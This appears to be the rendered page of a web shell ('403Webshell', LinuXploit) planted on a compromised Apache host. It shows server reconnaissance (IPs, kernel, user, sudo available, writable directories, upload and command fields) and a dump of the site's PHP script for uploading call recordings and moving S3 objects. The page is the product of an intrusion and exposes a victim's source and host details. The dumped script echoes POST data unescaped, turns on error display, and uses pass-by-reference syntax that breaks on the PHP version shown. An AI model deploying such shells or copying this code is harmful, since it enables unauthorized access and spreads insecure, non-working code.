403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/testAddUserRecordings.php
<?
error_reporting(E_ALL); 
ini_set('display_errors','On'); 
if(!defined('CRM_AWS_BUCKET')) {
	define('CRM_AWS_BUCKET', 'media.learningcentersupport.com'); 
	putenv('HOME=/home/learning/'); //config settings
}

require_once('AWSSDKforPHP/sdk.class.php');

//uploadprogress
//php.net goto: 	http://www.php.net/manual/en/features.file-upload.php#71564
//explination: 		http://blog.liip.ch/archive/2009/03/31/upload-progress-meter-common-issues-and-some-answers.html
require_once($_SERVER['DOCUMENT_ROOT'].'/lcapi/inc/LCAPI.php');

//echo "<pre>".print_r(uploadprogress_get_info('EE9D7F87-F4E5-475E-90A5-AB55FC317C11'), true)."</pre>"; 

$url 	= "/lcapi/AddUserRecordings.php"; 
$fields = array(
	'site'=>'agf',
	'user_id'=>'1', 
);
$u_id = uniqid();

if (isset($_POST['submitted'])) {
	$formfields = array();
	foreach ($fields as $field=>$value) {
		$formfields[$field] = $_POST[$field];
	}
	
	$query = "";
	if(!empty($_FILES)) {
		foreach($_FILES as $index=>$file) {
			if($file['error'] == '0') {
				
				//uploadprogress is a PECL PHP Extension to check  the status of a file upload
				//echo uploadprogress_get_info($file['name'])."<br/>";
				//array uploadprogress_get_info(string identifier)  
				//string uploadprogress_get_contents(string identifier, string fieldname[, int maxlen]) 
				$formfields[$index] = "@{$file['tmp_name']}"; 
			}
		}
	}
	//$formfields['MAX_FILE_SIZE'] = '20000000';

	$ch = curl_init();
  	//curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: multipart/form-data'));
  	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
  	curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER['REQUEST_URI']);
  	curl_setopt($ch, CURLOPT_URL, $url);
  	curl_setopt($ch, CURLOPT_POSTFIELDS, $formfields);
  	curl_setopt($ch, CURLOPT_TIMEOUT, 60);
  	curl_setopt($ch, CURLOPT_USERAGENT, "LCAPI cUrl Agent");
	ob_start();   
  	$data = curl_exec($ch);  
  	//var_dump($data); 
  	//var_dump($ch); 
  	ob_end_clean(); 
	curl_close ($ch);
	
	/*$lcapi = new LCAPI();
	$result = $lcapi->PostFields($url.$query, $formfields); 
	if ($result->status != 'Success') {
		$errormessage = $result->errormessage;
	} else {
		echo "Success! UserID: " . $result->userid;
		exit();
	}*/
}
?>
<html>
	<head>
		<title>Test Page for <?=$url;?></title>
		<script type="text/javascript" src="/lc/admin/js/jquery-1.4.min.js"></script>
		<script type="text/javascript" src="/lc/admin/js/ajax_basic_form_submit.js"></script>
		<script type="text/javascript">
			function refreshMe() {
				var id = $('.progress_id').first().val(); 
				$('iframe#status').attr('src', '/lcapi/progress.php?id='+id); 
			}
			
			//var id = Generate_UUID(); 
			var int_id = self.setInterval( "refreshMe();", 2000);
			var success = function( jForm, objData ) {
				console.log( objData ); 
				alert( objData.status ); 
				return true; 
			}; 		
			var failure = function( jForm, err ) {
				console.log( error ); 
				alert( 'un-handled exception' ); 
				return true; 
			}; 
			$(document).ready( function() {
					
				//$('.progress_id').val(id); 
				//$('iframe#status').attr('src', '/lcapi/progress.php?id='+id); 
				//statusIframe.window.setInterval('window.location.reload(true)', 5000);   

				bind_form_submit({ action:<?="'".$url."'";?>, selector:'form:first', callbackSuccess: success, callbackFailure: failure });
				//refreshMe(); 
				//setTimeout( "window.clearInterval();", 45000); 
			});
		</script>
	</head>
	<body>
		<form id="recording" action="<?= $_SERVER['SCRIPT_NAME']; ?>" method="post" enctype="multipart/form-data" >
			<table border="0" cellpadding="2" cellspacing="2" align="center">
				<? if (isset($errormessage)) {
						echo "<tr style=\"color:#fff;background:#ff0000;\"><td colspan=\"2\">$errormessage</td></tr>";
					}

					foreach ($fields as $field=>$value) {
						$value = (isset($_POST[$field]) && $_POST[$field] != $value) ? $_POST[$field] : $value; 
						echo "<tr><td>$field</td><td><input type=\"text\" name=\"$field\" value=\"{$value}\"></td></tr>";
					}
				?>
				<tr></tr>
				<tr>
					<td colspan="2">Recordings</td>
				</tr>
				<?php for($i=0; $i<1; $i++) : ?>
					<tr> 
						<td>file[<?=$i;?>]</td>
						<td>
							<input type="hidden" id='file_id' class="progress_id" name="APC_UPLOAD_PROGRESS" value="<?= $u_id; ?>" />
							<input type="hidden" name="type" value="customer service" />
							<input type="file" name="recording_<?=$i;?>" value="<?= (isset($_POST['recording_'.$i]['name'])) ? $_POST['recording_'.$i]['name'] : null; ?>" />
						</td>
					</tr>
				<?php endfor; ?>
				<tr>
					<td colspan="2" align="center"><input type="submit" value="Upload Files"></td>
				</tr>
			</table>
			<?//<input type="hidden" name="MAX_FILE_SIZE" value="20000000" />?>
			<input type="hidden" name="submitted" value="submitted"/> 
		</form>

		<?php echo ($_POST) ? "<pre>form fields=".print_r($formfields, true)."</pre>" : null; ?>
		<?php echo ($_POST) ? "<pre>POST: ".print_r($_POST, true)."</pre>" : null; ?>
		<?php echo ($_POST) ? "<pre>FILES: ".print_r($_FILES, true)."</pre>" : null; ?>
		<?php echo ($_POST) ? "<pre>LCAPI Result= ".print_r(json_decode($data,$assoc=true), true)."</pre>" : null; ?>
		<?php //if($_POST) var_dump($data); ?>
		<?php //phpinfo(); ?>		
		<?
			//<button onclick="window.clearInterval(int_id);">Stop</button>
			//<iframe id="status" src="/lcapi/progress.php?id=[ID]" width="100%" height="200px"></iframe>
		?>
	</body>
</html>
<?php

function get_user_recordings($s3, $s3Bucket, $site, $userId) {
	//if bucket exist
	if(!$s3->if_bucket_exists($s3Bucket)) {
		return array();  
	}
	//get any user recordings
	$recordings = $s3->get_object_list($s3Bucket, array( 'prefix' => $site.'/clients/'.$userId.'/recordings/', 'pcre' => '/\..+$/', ));
	return $recordings; 
}

function copy_user_recording($s3, $s3Bucket, $file, $newFile) {
	//if bucket exist
	if(!$s3->if_bucket_exists($s3Bucket)) {
		return false;  
	}
	
	//if file exists
	if(!$s3->if_object_exists($s3Bucket, $file)) {
		return false; 
	}
	
	//if new exists
	if($s3->if_object_exists($s3Bucket, $newFile)) {
		return true; 
	}

	//copy 
	$response = $s3->copy_object(array('bucket'=>$s3Bucket, 'filename'=>$file), array('bucket'=>$s3Bucket, 'filename'=>$newFile)); 
	if(!$response->isOK()) {
		return false; 
	}
	return true; 
}

function delete_user_recording($s3, $s3Bucket, $file) {
	
	//if bucket exist
	if(!$s3->if_bucket_exists($s3Bucket)) {
		return false;  
	}
	
	//if file exists
	if(!$s3->if_object_exists($s3Bucket, $file)) {
		return false; 
	}
	
	//then delete file
	$response = $s3->delete_object($s3Bucket, $file); 
				
	if(!$response->isOK()) {
		return false; 
	} 
	
	return true; 
}

$s3 = new AmazonS3(); 
$files = get_user_recordings(&$s3, CRM_AWS_BUCKET, 'agf', '1'); 
if(!empty($files)) {
	foreach($files as $file) {
		if(!preg_match('/(sales|customer service)/', $file)) {
			$newFile = str_replace('recordings/', 'recordings/sales/', $file); 
			if(copy_user_recording(&$s3, CRM_AWS_BUCKET, $file, $newFile)) {
				echo "<p>Copied filename: ".$file." to new location: ".$newFile."<br/>";   
				if(delete_user_recording(&$s3, CRM_AWS_BUCKET, $file)) {
					echo "<strong>Deleted</strong> filename: ".$file;  
				} 
				echo "</p>"; 
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit